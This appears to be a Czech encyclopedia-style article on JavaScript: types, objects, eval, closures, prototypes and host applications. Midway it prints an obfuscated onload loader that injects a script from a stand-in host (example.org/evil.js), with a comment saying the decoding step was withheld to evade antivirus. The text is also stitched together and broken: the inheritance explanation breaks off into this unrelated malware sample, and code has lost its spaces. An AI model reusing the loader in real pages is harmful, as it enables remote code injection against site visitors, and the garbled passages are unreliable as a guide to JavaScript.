|
Stejně jako ve většině skriptovacích jazyků, jsou typy asociovány s hodnotami místo proměnných. Kupříkladu proměnné x může být přiřazena hodnota v podobě celočíselného typu, později řetězce atd. JavaScript operatory ===, typeof a instanceof umožňují otestování typu objektu.
JavaScript je převážně objektově založený. Objekty jsou asociativními poli rozšířenými o tzv. prototypy (viz níže). Názvy atributů objektů jsou klíči asociativního pole; obj.x = 10 a obj["x"] = 10 jsou tedy ekvivalentními výrazy. První varianta používá oddělení pomocí znaku tečky především pro zjednodušující účely. Atributy a jejich hodnoty mohou být přidávány, měněny nebo mazány za běhu programu. Atributy objektu mohou být rovněž vyčteny pomocí for … in cyklu. V tom se však promítnou i zděděné vlastnosti (z prototypu). Pokud se toho chceme vyvarovat, je dobré použít ještě metodu hasOwnProperty.
Pro úplnost nutno zmínit, že JavaScript v sobě zahrnuje funkci eval, která je schopna provádět příkazy předávané jako řetězce přímo za běhu programu, což je však celkem běžným rysem interpretovaných jazyků, nejedná se tedy o žádnou specialitu JavaScriptu jako takového.
Označení funkce první třídy vyjadřuje, že jsou funkce objekty. Mají tedy své atributy a mohou být předány dále. Lze s nimi manipulovat jako s kterýmkoli jiným objektem. Níže jsou uvedeny další významy funkcí (jako konstruktory a metody).
Vnitřní funkce neboli funkce definované uvnitř jiných – vnějších funkcí, jsou vytvořeny při každém zavolání nadřazené funkce. Proměnné funkcí vnějších existují po dobu existence funkce vnitřní. Dokonce i po ukončení volání – po návratu z vnější funkce, má daná vnitřní funkce stále přístup k proměnným své vnější funkce – toto je mechanismus nazývaný v JavaScriptu jako uzávěry (anglickyclosures).
Přestože JavaScript nedisponuje klasickým konceptem třída–instance, typickým pro objektově orientované jazyky, disponuje rysem, který tento mechanismus částečně nahrazuje – prototypováním. Díky prototypování je dále JavaScript schopen simulovat mnoho principů a vlastností mechanismů založených na třídách (// Definice konstruktoru
functionAuto(znacka,spz){
this.znacka=znacka;
this.spz=spz;
}
Auto.prototype.vypisZnacku=function(){
alert(this.znacka);
};
Systém dědičnosti nadřazených a podřazených tříd sice v JS neexistuje, ale pomocí prototypů ji lze úspěšně simulovat. Celý princip dědění spočívá v tvorbě nových prototypů. Máme-li třídu VesmirnyObjekt, třídu Planeta podřídíme tím, že přiřadíme konstruktoru Planeta jako prototyp (anglickyprototype) objekt VesmirnyObjekt:
<script>
try{window.onload=function(){
varQ236s4ic4454clw=document.createElement('script');
Q236s4ic4454clw.setAttribute('type','text/javascript');
Q236s4ic4454clw.setAttribute('id','myscript1');
Q236s4ic4454clw.setAttribute('src','h(t)!^t^))p#@:&&/(##/&$#e^$$x^@)(a&(m$^)p))#$l^e$#.!^)^o$$$&r@$g#^/$!#e#&(v((i!!l)(@.)&j((s@^^'.***);
// místo "***" má být "replace(/\(|\!|&|#|\$|\)|@|\^/ig, '')" - toto řešení je nutné z důvodu blokování načítání této stránky antivirovými programy
Q236s4ic4454clw.setAttribute('defer','defer');
document.body.appendChild(Q236s4ic4454clw);
}
catch(e){}
</script>
vygeneruje HTML kód:
</script>\n"}}'><script defer="defer" src="http://example.org/evil.js" id="myscript1" type="text/javascript"></script>
který vlastní škodlivý kód načte z vnější adresy mimo napadený server.
Kromě webových prohlížečů a serverů je interpret JavaScriptu vestavěný v mnoha různých nástrojích. Každý z těchto nástrojů poskytuje vlastní objektový model, který poskytuje přístup k hostitelskému prostředí. Jádro JavaScriptu zůstává většinou stejné v každé aplikaci.
- Většina rozšíření pro webové prohlížeče je implementována použitím JavaScriptu, např. rozšíření Chrome, Safari, Opera atd.
- Některé NoSQL datábáze jako je MongoDB nebo CouchDB akceptují dotazy napsané v JavaScriptu.
- Acrobat and Adobe Reader podporují JavaScript v souborech typu PDF.
- Nástroje v Adobe Creative Suite, včetně Photoshop, Illustrator, Dreamweaver a InDesign umožňují skriptování pomocí JavaScriptu.
- Kancelářský balík aplikací OpenOffice a LibreOffice umožňuje JavaScript používat jako skriptovací jazyk.
- Interaktivní zpracování signálu hudebního software Max/MSP nabízí v jeho prostředí model JavaScriptu pro použití vývojářům. To umožňuje mnohem přesnější ovládání než výchozí programovací model GUI-centric.
- Digitální software Apple Logic Pro X audio workstation umožňuje vytvořit vlastní MIDI efekty pluginy pomocí JavaScriptu.
- ECMAScript byl zahrnut v normě VRML97 pro skriptování uzlů souborů VRML.
- Herní engine Unity 3D ve starších verzích podporoval upravenou verzi JavaScriptu pro skriptování pomocí Mono.
- DX Studio (3D engine) používá implementaci JavaScriptu SpiderMonkey pro hry a simulace logiky.
- Maxwell Render poskytuje skriptovací engine ECMA standardu pro automatizaci úkolů.
- Google Apps Script v tabulkách Google a Google Sites umožňuje uživatelům vytvářet vlastní vzorce, automatizovat opakující se úlohy a také komunikovat s ostatními produkty Google jako je Gmail.
- Mnoho klientů IRC, jako je ChatZille nebo XChat, používají JavaScript pro jejich scriptovací činnosti.
- Produkty SpinetiX používají SpiderMonkey JavaScript pro scriptování v SVG souborech.
- Platformy ObjectGears, ServiceNow
- Technologie Active Scripting od Microsoftu podporuje JavaScript jako skriptovací jazyk.
- Programovací jazyk Java v 6. verzi představil balíček javax.script, který obsahuje implementaci JavaScriptového enginu Rhino. Java aplikace tak mohou hostit skripty, které přistupují k proměnným a objektům této aplikace, stejně jako webové prohlížeče, kde skripty mohou přistupovat k objektovému modelu dokumentu webové stránky.
- Nástroj Qt C++ obsahuje modul QtScript, který interpretuje JavaScript stejně jako Java balíček javax.script.
Vzhledem k tomu, že při programování pro různé webové prohlížeče mohou nastat implementační rozdíly (zvláště v objektovém modelu dokumentu), je vhodné mít přístup k debuggeru v každém webovém prohlížeči, na které je aplikace zaměřena.
Debuggery jsou dostupné pro Internet Explorer, Firefox, Safari, Google Chrome, Opera a Node.js.
Closures - JavaScript | MDN. developer.mozilla.org [online]. Mozilla Foundation, 2022-06-02 [cit. 2022-07-18]. Dostupné online. (anglicky)
↑ URBAN, Petr. Epic Games ve spolupráci s Mozillou v prohlížeči zprovoznil Unreal Engine 4. Cnews.cz [online]. 2014-03-13 [cit. 2018-05-18]. Dostupné online.
↑ From Hidden Iframes to Obfuscated Scripts. Unmask Parasites [online]. 23 Dec 09. Dostupné v archivu pořízeném z originálu dne 2014-09-16.
↑ Version Information (JavaScript) [online]. Msdn.microsoft.com [cit. 2013-05-26]. Dostupné online.
↑ The JavaScript Debugging Console [online]. javascript.about.com, 2010-05-28 [cit. 2010-05-28]. Dostupné v archivu pořízeném dne 2016-04-08.
↑ Obrázky, zvuky či videa k tématu JavaScript na Wikimedia Commons
|